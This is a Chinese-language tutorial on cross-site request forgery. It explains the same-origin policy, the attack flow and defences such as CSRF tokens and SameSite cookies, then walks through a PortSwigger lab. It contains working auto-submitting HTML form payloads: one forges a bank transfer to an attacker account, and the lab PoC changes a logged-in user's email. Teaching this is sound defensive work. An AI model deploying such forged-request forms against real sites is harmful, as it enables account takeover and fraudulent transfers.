10跨站请求伪造【CSRF】

## 什么是CSRF

跨站请求伪造（Cross-Site Request Forgery，简称CSRF），是一种网络安全漏洞，攻击者可以利用该漏洞诱导用户执行其无意执行的操作，利用用户**已认证身份**发起非预期操作的攻击方式。

核心原理是：攻击者诱导受害者在**已登录目标网站**的情况下，访问恶意页面或点击恶意链接，从而触发向目标网站的 “跨站请求”—— 由于浏览器会自动携带目标网站的身份凭证（如 Cookie），目标网站会误认为这是用户的 “主动操作”，进而执行攻击者预设的恶意行为。

## 同源策略

同源策略（Same-Origin Policy, SOP）是**浏览器的核心安全机制**，用于限制一个网页文档或脚本如何与来自其他 “源” 的资源进行交互。

其核心目的是**隔离不同源的内容，防止恶意网站通过跨域请求窃取敏感数据或执行未授权操作**。

“源”（Origin）由三个要素唯一确定，只有当两个资源的这三个要素**完全一致**时，才被视为 “同源”：

1. **协议（Protocol）**：如 http、https、ftp（注意：http 和 https 属于不同协议，即使域名相同也不同源）；
2. **域名（Domain）**：如 www.example.com、blog.example.com（注意：主域名相同但子域名不同，也属于不同源）；
3. **端口（Port）**：如 80（HTTP 默认端口）、443（HTTPS 默认端口）、8080（自定义端口）（注意：即使协议和域名相同，端口不同也不同源）。

同源策略的核心限制范围，同源策略主要限制**不同源的资源之间的交互**，具体包括以下三类关键行为：

1. 限制 DOM 访问：不同源的网页无法直接操作对方的 DOM（文档对象模型）；
2. 限制 AJAX/Fetch 请求：不同源的脚本无法通过 XMLHttpRequest 或 Fetch API 直接向其他源发送请求并获取响应；
3. 限制存储资源访问：不同源的网页无法访问对方存储在浏览器中的敏感数据。

## 造成的影响

在成功的 CSRF 攻击中，攻击者会诱使受害用户无意中执行操作。
例如，可能是更改其帐户的电子邮件地址、更改密码或进行资金转账。根据操作的性质，攻击者可能能够完全控制用户的帐户。如果受感染的用户在应用程序中拥有特权角色，那么攻击者可能能够完全控制应用程序的所有数据和功能。

## 攻击流程

假设目标网站是某银行（bank.com），攻击者构造恶意网站（evil.com），攻击流程如下：

1、受害者登录目标网站。

受害者先登录 bank.com，银行服务器验证通过后，在受害者浏览器中种下身份凭证（如 Cookie：user=victim; session=abc123），用于后续请求的身份识别，此时受害者处于 “已登录” 状态。

2、攻击者诱导受害者访问恶意网站。

攻击者通过邮件、短信等方式，诱导受害者点击链接 evil.com/attack，受害者在仍登录 bank.com 的情况下，访问了该恶意网站。

3、恶意网站触发跨站请求。

恶意网站的页面中，隐藏着向bank.com发起的请求（可能是表单自动提交、图片加载、AJAX等），例如：

```html

<form action="https://bank.com/transfer" method="POST" id="hackForm">
  <input type="hidden" name="to" value="attackerAccount"> 
  <input type="hidden" name="amount" value="10000"> 
</form>
<script>document.getElementById('hackForm').submit();</script>
```

当受害者访问 evil.com 时，这段代码会自动向 bank.com/transfer 发送 POST 请求。

4、浏览器自动携带身份凭证。

由于请求的目标是 bank.com，浏览器会自动将 bank.com 的 Cookie（包含受害者的登录凭证）附加到请求中，发送给银行服务器。

5、目标网站误判为用户主动操作。

银行服务器收到请求后，通过 Cookie 验证身份（确认是受害者），且请求参数完整（有收款账户和金额），便认为这是受害者的 “主动转账操作”，从而执行转账，将受害者账户中的 10000 元转给攻击者。

**核心条件：**

1. 受害者已登录目标网站；
2. 攻击者能构造有效请求；
3. 受害者被动触发跨站请求。

## 防护措施

防护的核心思路是：**让服务器能够区分请求是 “用户主动发起” 还是 “恶意诱导触发”**。

**1. CSRF Token**

核心是通过一个随机且不可预测的令牌验证请求的合法性。

原理：用户登录后，服务器在当前会话中生成一个随机、唯一的Token值，并且存储在服务器端（如Session）中；服务器在返回的页面（如表单页、前端页面）中，将Token嵌入到表单隐藏字段或者前端存储（如JavaScript变量）中；当用户提交请求时，前端必须将Token作为请求参数一起发送，服务器收到请求后，对比请求中的Token与服务器端存储的Token。

**2. SameSite Cookie 属性（浏览器层面防护）**

通过设置 Cookie 的 SameSite 属性，限制浏览器在跨站请求中是否携带 Cookie，从根源上阻止 “跨站请求携带身份凭证”。

原理：SameSite 是 Cookie 的扩展属性，用于控制跨站请求时 Cookie 的发送策略，可选值有：**Strict**（完全禁止跨站请求携带 Cookie，例如，bank.com 的 Cookie 不会在 evil.com 发起的任何请求中被携带，无论请求类型。）、**Lax**（仅允许 “安全的跨站导航” 携带 Cookie，例如通过 \<a> 标签跳转、GET 表单提交等，禁止 POST、AJAX 等跨站请求携带。）。

**3. 验证 Referer/Origin 请求头**

通过检查请求的来源（Referer 或 Origin 头），确认请求是否来自可信域名。

原理：浏览器在发送请求时，会自动在请求头中添加 Referer 或 Origin，标识请求的来源页面 URL，服务器可配置 “可信域名白名单”（如自身域名 bank.com），收到请求后检查 Referer 或 Origin。

Referer：包含完整的来源 URL（如 https://www.trust.com/page.html）；

Origin：仅包含协议和域名（如 https://www.trust.com），在跨站请求中更常用。

**4. 敏感操作二次验证**

对于高风险操作（如转账、修改密码、删除数据），强制要求用户进行 “二次验证”，确保是用户主动意愿。

## CSRF 与 XSS

很多人会混淆 CSRF 和 XSS，两者核心差异在于：

- **XSS**：利用漏洞在目标网站注入恶意脚本，直接**获取用户数据**（如 Cookie、账号密码）或操作当前页面 DOM；
- **CSRF**：不注入脚本，而是**利用用户已有的身份凭证**，诱导用户触发跨站请求，让目标网站执行非预期操作（如转账、删帖）。

简单说：XSS 是 “偷数据”，CSRF 是 “借身份做事”。

## 实验

靶机地址：https://portswigger.net/web-security/csrf/lab-no-defenses

任务：制作一些使用 CSRF 攻击来更改查看者电子邮件地址的 HTML，并将其上传到漏洞服务器。

凭证登录帐户：wiener:peter。

1、访问靶机地址，并登录账户。

![image-20250909114102527](https://oss.maolin101.com/image-20250909114102527.png-101.webp)

2、登录之后，观察到可以更改账户的邮箱地址，进行尝试后发现可以直接更改成功。

![image-20250909114219532](https://oss.maolin101.com/image-20250909114219532.png-101.webp)

![image-20250909114227963](https://oss.maolin101.com/image-20250909114227963.png-101.webp)

3、通过Burp制作CSRF的POC。

抓取更改邮箱地址的数据包。

![image-20250909114355429](https://oss.maolin101.com/image-20250909114355429.png-101.webp)

在数据包的任意位置，点击鼠标右键，可以直接制作POC【注意：burp的专业版才有此功能】

![image-20250909114532375](https://oss.maolin101.com/image-20250909114532375.png-101.webp)

4、对于这个靶机而言，官方提供了对于社区版burp的html模板。

```html
<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="anything%40web-security-academy.net">
</form>
<script>
        document.forms[0].submit();
</script>
```

只需要将form标签中的action属性替换为当前的靶场 地址即可，也可以修改邮箱的value值。

在数据包的任意位置，点击鼠标右键，选择【Copy URL】，即可复制当前的URL。

```html
<form method="POST" action="https://0a21006c0448d9fa80fd03ff004d00b6.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="James%40normal-user.net">
</form>
<script>
        document.forms[0].submit();
</script>
```

5、点击靶机页面上方的漏洞服务器。

![image-20250909115001054](https://oss.maolin101.com/image-20250909115001054.png-101.webp)

6、将制作好的POC，复制到Body中，点击【View exploit】。

![image-20250909115134681](https://oss.maolin101.com/image-20250909115134681.png-101.webp)

邮箱地址更改成功。

![image-20250909115153006](https://oss.maolin101.com/image-20250909115153006.png-101.webp)